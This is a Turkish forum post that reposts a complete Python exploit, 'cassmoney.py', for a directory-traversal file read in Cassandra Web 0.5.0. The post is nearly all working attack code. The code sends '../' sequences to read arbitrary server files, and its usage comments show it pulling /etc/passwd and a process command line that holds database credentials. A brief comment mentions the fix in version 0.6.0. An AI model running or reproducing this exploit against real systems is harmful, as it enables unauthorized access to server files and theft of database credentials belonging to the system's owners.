Hoşgeldin Misafir

Cassandra Web 0.5.0 Remote File Read Exploit

Asım Gürsoy

mersin
27 Mar 2020
8,833 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Cassandra Web 0.5.0 Remote File Read Exploit--


Kod:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# cassmoney.py
#
# Cassandra Web 0.5.0 Remote File Read Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# Cassandra Web is vulnerable to directory traversal due to the disabled
# Rack::Protection module. Apache Cassandra credentials are passed via the
# CLI in order for the server to auth to it and provide the web access, so
# they are also one thing that can be captured via the arbitrary file read.
#
# Usage
# > cassmoney.py 10.0.0.5 /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# bin:x:2:2:bin:/bin:/usr/sbin/nologin
# ...
#
# > cassmoney.py 10.0.0.5 /proc/self/cmdline
# /usr/bin/ruby2.7/usr/local/bin/cassandra-web--usernameadmin--passwordP@ssw0rd
#
# (these creds are for auth to the running apache cassandra database server)
#
# Fix
# - fixed in github repo
# - v0.6.0 / ruby-gems when available
# (still recommended to containerize / run this in some sandbox, apparmor, etc)
#
 
import os
import sys
import argparse
import requests
import urllib.parse
 
SIGNATURE = 'cassandra.js'
 
#
# /var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public
#
DT = '../'
DT_NUM = 8
 
class CassMoney(object):
  def __init__(self, args):
    self.target = args.target
    self.file = args.file
    self.port = args.port
    self.force = args.force
    self.number = args.number
 
  def run(self):
    target = "http://" + self.target + ':' + str(self.port)
 
    payload = urllib.parse.quote_plus(DT * self.number + self.file)
 
    try:
      deskpop = requests.get(target)
    except Exception as error:
      print("Error: %s" % error)
      return -1
 
    if(SIGNATURE not in deskpop.text and self.force == False):
      print("Target doesn't look like Cassandra Web, aborting...")
      return -1
 
    try:
      req = requests.get(target + '/' + payload)
    except:
      print("Failed to read %s (perm denied likely)" % self.file)
      return -1
 
    if(SIGNATURE in req.text):
      print("Failed to read %s (bad path?)" % self.file)
      return -1
 
    if(len(req.text) == 0):
      print("Server returned nothing for some reason")
      return 0
 
    print("\n%s" % req.text)
 
    return 0
 
def arg_parse():
  parser = argparse.ArgumentParser()
 
  parser.add_argument("target",
            type=str,
            help="Cassandra Web Host")
 
  parser.add_argument("file",
            type=str,
            help="eg. /etc/passwd, /proc/sched_debug + /proc/<cass-web-pid>/cmdline")
 
  parser.add_argument("-p",
            "--port",
            type=int,
            default=3000,
            help="Cassandra Web Port")
 
  parser.add_argument("-f",
            "--force",
            default=False,
            action='store_true',
            help="Run the payload even if server isn't Cassandra Web")
 
  parser.add_argument("-n",
            "--number",
            type=int,
            default=DT_NUM,
            help="Adjust the number of dot-dot-slash")
 
  args = parser.parse_args()
 
  return args
 
def main():
  args = arg_parse()
 
  cm = CassMoney(args)
 
  result = cm.run()
 
  if(result > 0):
    sys.exit(-1)
 
if(__name__ == '__main__'):
  main()
 
#  0day.today [2021-01-02]  #